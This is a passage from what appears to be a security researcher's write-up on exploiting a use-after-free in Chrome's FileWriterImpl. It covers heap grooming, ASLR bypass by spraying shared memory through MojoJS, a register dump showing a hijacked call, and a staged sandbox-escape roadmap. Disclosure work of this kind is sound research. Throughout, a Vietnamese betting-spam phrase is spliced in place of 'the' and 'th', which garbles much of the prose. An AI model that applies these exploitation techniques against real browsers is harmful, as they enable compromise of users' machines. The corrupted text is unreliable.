And that will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n make a non-virtual call to FileSystemContext::CreateFileSystemOperation with a this pointer taken from inside whatever cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous this pointer pointed to…

FileSystemOperation* FileSystemContext::CreateFileSystemOperation(
   const FileSystemURL& url, base::File::Error* error_code) {
 ...

 FileSystemBackend* backend = GetFileSystemBackend(url.type());
 if (!backend) {
   if (error_code)
     *error_code = base::File::FILE_ERROR_FAILED;
   return nullptr;
 }

 ...
}

Which will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n finally expect to be able to lookup a FileSystemBackend pointer from an std::map contained inside it!

FileSystemBackend* FileSystemContext::GetFileSystemBackend(
   FileSystemType type) const {
 auto found = backend_map_.find(type);
 if (found != backend_map_.end())
   return found->second;
 NOTREACHED() << "Unknown filesystem type: " << type;
 return nullptr;
}

This is quite a comprehensive set of constraints. (If we can meet cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m all, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 call to backend->CreateFileSystemOperation is finally a virtual call which would be where we’d hope to achieve a useful side-effect).

After looking through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 types of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same size (0x140 bytes), nothing jumped out as being both easy to allocate in a controlled way, and also overlapping in a compatible way - so we can instead consider an alternative approach. On Windows, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 freeing of a heap block doesn’t (immediately) corrupt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data it contains - so if we can groom to make sure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriterImpl allocation isn’t reused, we can instead replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileSystemOperationRunner object directly, and access it through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stale pointer. This reduces one dereference from our constraints, and means we are looking in a different size class (0x80 bytes)… There are roughly 1000 object types of this size, and again nothing is obviously useful, so maybe we can consider alternative solutions...

Step 4: Information Leak (round #2)

Tired of staring at structure layouts in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debugger, time to consider any alternative we could come up with. The ASLR implementation on Windows means that if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same library is loaded in multiple processes, it will be at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same base address; so any library loaded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer will be loaded at a known address in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process.

There are a few objects we could replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileSystemOperationRunner with that would line up cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileSystemContext pointer to controlled string data; we could use this to fake cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first/begin node of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 backend_map_ with a pointer into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data section of one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 modules that we can locate, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re line things up correctly so that we could lookup cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first entry. This only required an even smaller set of constraints:

ptr = getPtr(address)

getUint8(ptr + 0x19) == 0
getUint32(ptr + 0x20) == 0
obj = getPtr(ptr + 0x28)

vtable = getPtr(obj)

function = getPtr(vtable + 0x38)

The set of addresses which meet cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se constraints, unfortunately, does not really produce any useful primitives.

Step 5: ASLR Bypass

Having almost completely given up, we remembered one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 quirks related to issue 1642, a bug in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Mojo core code. Specifically; when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 receiving end of a Mojo connection receives a DataPipe*Dispatcher object, it will immediately map an associated shared memory section (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mapping occurs inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 call to InitializeNoLock).

Since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s no memory or virtual address space limit in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process, this suggests that in fact, we may be able to completely bypass ASLR without an information leak if we can simply spray cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 virtual address space of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser with shared memory mappings. Note - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer limits will still be applied, so we need to find a way to do this without exceeding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer limits. This should be fairly trivial from native code running in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer; we can simply duplicate handles to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same shared memory page, and repeatedly send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m - but it would be nice to stay in Javascript.

Looking into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IDL for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MojoHandle interface in MojoJS bindings, we can note that while we can’t clone DataPipe handles, we can clone SharedBuffer handles.

interface MojoHandle {
  ...
  
  // TODO(alokp): Create MojoDataPipeProducerHandle and MojoDataPipeConsumerHandle,
  // subclasses of MojoHandle and move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following member functions.
  MojoWriteDataResult writeData(BufferSource buffer, optional MojoWriteDataOptions options);
 MojoReadDataResult queryData();
  MojoReadDataResult discardData(unsigned long numBytes, optional MojoDiscardDataOptions options);
  MojoReadDataResult readData(BufferSource buffer, optional MojoReadDataOptions options);

  // TODO(alokp): Create MojoSharedBufferHandle, a subclass of MojoHandle
  // and move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following member functions.
  MojoMapBufferResult mapBuffer(unsigned long offset, unsigned long numBytes);
  MojoCreateSharedBufferResult duplicateBufferHandle(optional MojoDuplicateBufferHandleOptions options);
};

Unfortunately, SharedBuffers are used much less frequently in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process interfaces, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y’re not automatically mapped when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are deserialized, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y’re less useful for our purposes. However, since both SharedBuffers and DataPipes are backed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same operating-system level primitives, we can still use this to our advantage; by creating an equal number of DataPipes with small shared memory mappings, and clones of a single, large SharedBuffer, we can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use our arbitrary read-write to swap cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 backing buffers!


As we can see in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 VMMap screenshot above - this is both effective and quick! The first test performed a 16-terabyte spray, which got a bit laggy, but in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real-world about 3.5-terabytes appears sufficient to get a reliable, predictable address. Finally, a chance to cite SkyLined’s exploit for MS04-040 in a modern 64-bit Chrome exploit!

A little bit of fiddling later:

rax=00000404040401e8 rbx=000001fdba193480 rcx=00000404040401e8
rdx=000001fdba193480 rsi=00000002f39fe97c rdi=00000404040400b0
rip=00007ffd87270258 rsp=00000002f39fe8c0 rbp=00000002f39fea88
r8=00000404040400b0  r9=00000002f39fe8e4 r10=00000404040401f0
r11=0000000000000000 r12=0000000000000000 r13=00000002f39fea90
r14=0000000000000001 r15=00000002f39fea08
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
chrome!storage::FileSystemContext::CreateFileSystemOperation+0x4c:
00007ffd`87270258 41ff5238        call    qword ptr [r10+38h] ds:00000404`04040228=4141414141414141

Roadmap

Ok, at this point we should have all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heavy machinery that we need - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest is a matter of engineering. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 detail-oriented; you can find a full, working exploit in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bugtracker, and you should be able to identify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code handling all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following stages of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit:

  1. Arbitrary read-write in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer
    1. Enable MojoJS bindings
    2. Launch sandbox escape
  2. Sandbox escape
    1. Arbitrary read-write in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer (again…)
    2. Locate necessary libraries for pivots and ROP chain in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer address space
    3. Build a page of data that we’re going to spray in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser address space containing fake FileSystemOperationRunner, FileSystemContext, FileSystemBackend objects
    4. Trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug
    5. Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free’d FileWriterImpl with a fake object that uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address that we’ll target with our spray as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileSystemOperationRunner pointer
    6. Spray ~4tb of copies of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page we built in 2c into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process address space
    7. Return from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer to FileWriterImpl::DoWrite in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process, pivoting into our ROP chain and payload
    8. Pop calc
    9. Clean things up so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser can continue running

Conclusions

It’s interesting to have anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r case where we’ve been able to use weaknesses in ASLR implementations to achieve a working exploit without needing an information leak.

There were two key ASLR weaknesses that enabled reliable exploitation of this bug:
  • No inter-process randomisation on Windows (which is also a limitation on MacOS/iOS) which enabled locating valid code addresses in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target process without an information-leak.
  • No limitations on address-space usage in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Chrome Browser Process, which enabled predicting valid data addresses in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap-spray.

Without both of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se primitives, it would be more difficult to exploit this vulnerability, and would likely have pushed past available motivation (better to keep looking for a better vulnerability, or an additional information leak since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use-after-free wasn’t readily usable as an information leak).